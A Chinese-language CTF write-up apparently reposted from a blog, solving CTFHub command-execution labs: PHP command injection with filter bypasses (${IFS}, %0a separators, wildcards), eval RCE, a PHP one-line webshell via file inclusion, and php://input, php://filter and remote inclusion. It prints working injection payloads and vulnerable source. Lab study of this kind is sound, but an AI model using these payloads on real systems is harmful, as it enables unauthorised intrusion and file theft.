CTFHub-技能樹-命令執行


CTFHub-技能樹-命令執行

1.命令注入

給了源碼:

// 關鍵代碼
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 傳入ip,
    $cmd = "ping -c 4 {$_GET['ip']}";// 運行命令,可以拼接
    exec($cmd, $res);// 執行cmd,把結果輸出到res
}

if ($res) {
    print_r($res);// 打印結果
}
show_source(__FILE__);
?>

根據第五行代碼,這里直接拼接就行

看到有一個php文件,8061098418328.php,直接用cat,但是沒有顯示

考慮到有特殊字符,無法回顯,使用base64編碼,拿到flag。

這里用到了管道符|,表示把上一條命令的輸出作為下一條命令的輸入

2.過濾cat

過濾cat,類似cat的指令這里有一堆

和上一題思路一樣,拼接語句

先用ls查看文件名

再用一個類似於cat的指令查看內容並以base64格式輸出

下一題

3.過濾空格

空格用${IFS}代替即可,還可以使用IFS$9、%09、<、>、<>、{,}、%20來代替空格

其余思路和上一題一樣

4.過濾目錄分隔符

emmmm,我想的是,過濾了目錄分隔符/那我就不用了,

直接用拼接命令即可,其余思路一樣

payload: 127.0.0.1;cd flag_is_here;cat flag_159229063344.php | base64

5.過濾運算符

前邊只有base64編碼的時候用到了運算符,而file | base64也可以寫成base64 file

剩下的思路以之前一致

6.綜合過濾練習

過濾了|,&,;, ,/,cat,flag,ctfhub

空格可以用${IFS}

cat可以用more

flag可以用正則f***

ctfhub應該用不到

查了一下,在linux下,命令分隔符除了;還能用%0a(換行符)

有了;就可以不用運算符了

然后按着之前的思路去做就可以了

最終的payload

!這里要注意,因為%0a是url編碼,所以一定要輸在url中,否則%0a會被再次編碼

查看目錄127.0.0.1%0als

查看文件夾內容127.0.0.1%0acd${IFS}f***_is_here%0als

查看flag127.0.0.1%0acd${IFS}f***_is_here%0abase64${IFS}f***_31393309531738.php

7.eval執行

  • 題目

    <?php
    if (isset($_REQUEST['cmd'])) {
        eval($_REQUEST["cmd"]);
    } else {
        highlight_file(__FILE__);
    }
    ?>
    
  • 直接運行cmd參數,沒有過濾,使用system函數即可執行bash命令

  • 解題

    eval():將傳入的參數當作php代碼執行,所以傳參需要傳入;

    ls/find找到flag,再cat即可

8.文件包含

  • 題目內容

    • index.php

      <?php
      error_reporting(0);
      if (isset($_GET['file'])) {
          if (!strpos($_GET["file"], "flag")) {
              include $_GET["file"];
          } else {
              echo "Hacker!!!";
          }
      } else {
          highlight_file(__FILE__);
      }
      ?>
      <hr>
      i have a <a href="shell.txt">shell</a>, how to use it ?
      i have a shell, how to use it ?
      

      如果GET參數file中沒有關鍵詞flag,則包含file參數所指文件

      include、require等包含類文件,會把指定文件中的內容當作php代碼執行,當然不同函數有區別,開源在php manual查一下

    • shell.txt

      <?php eval($_REQUEST['ctfhub']);?>
      

      shell.txt是php一句話馬

  • 解題過程

    構造payload,包含shell.txt並執行傳入的參數

    ?file=shell.txt&ctfhub=PHP_CODE;

    因為不能含有關鍵詞flag,所以最后利用通配符*來完成文件讀取,fla*

9.php://input

  • 題目內容

    • index.php

      <?php
      if (isset($_GET['file'])) {
          if ( substr($_GET["file"], 0, 6) === "php://" ) {
              include($_GET["file"]);
          } else {
              echo "Hacker!!!";
          }
      } else {
          highlight_file(__FILE__);
      }
      ?>
      <hr>
      i don't have shell, how to get flag? <br>
      <a href="phpinfo.php">phpinfo</a>
      i don't have shell, how to get flag?
      phpinfo
      

      如果GET參數file的開頭為php://則包含file

    • phpinfo

      給了phpinfo,看了下allow_url_include/fopen都為On,那么就可以利用php偽協議進行命令執行/文件讀取

  • 解題過程

    既然題目是php://input,那就用它吧

    php://input === POST包的body

    那么/?file=php://input ,最終效果為include(php://input);

    我們只需要把POST的body設置為我們要執行的php代碼即可

10.讀取源代碼

  • 題目內容

    • index.php

      <?php
      error_reporting(E_ALL);
      if (isset($_GET['file'])) {
          if ( substr($_GET["file"], 0, 6) === "php://" ) {
              include($_GET["file"]);
          } else {
              echo "Hacker!!!";
          }
      } else {
          highlight_file(__FILE__);
      }
      ?>
      <hr>
      i don't have shell, how to get flag? <br>
      flag in <code>/flag</code>
      i don't have shell, how to get flag?
      flag in /flag
      

      包含部分代碼和上一題一樣,php://開頭即可

      此外,題目指出flag位置 /flag

  • 解題過程

    使用php偽協議php://filter進行文件讀取,因為是flag,所以不需要編碼

    構造payload:?file=php://filter/read/resource=/flag

11.遠程包含

  • 題目內容

    php://input一樣,本意應該是讓我們把php腳本傳到自己的vps上,然后使用url遠程包含,達到rce的目的

    即file===你的url

  • 解題過程

    因為vps暫時沒法用,偷懶一下,和php://input用的一樣的解


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM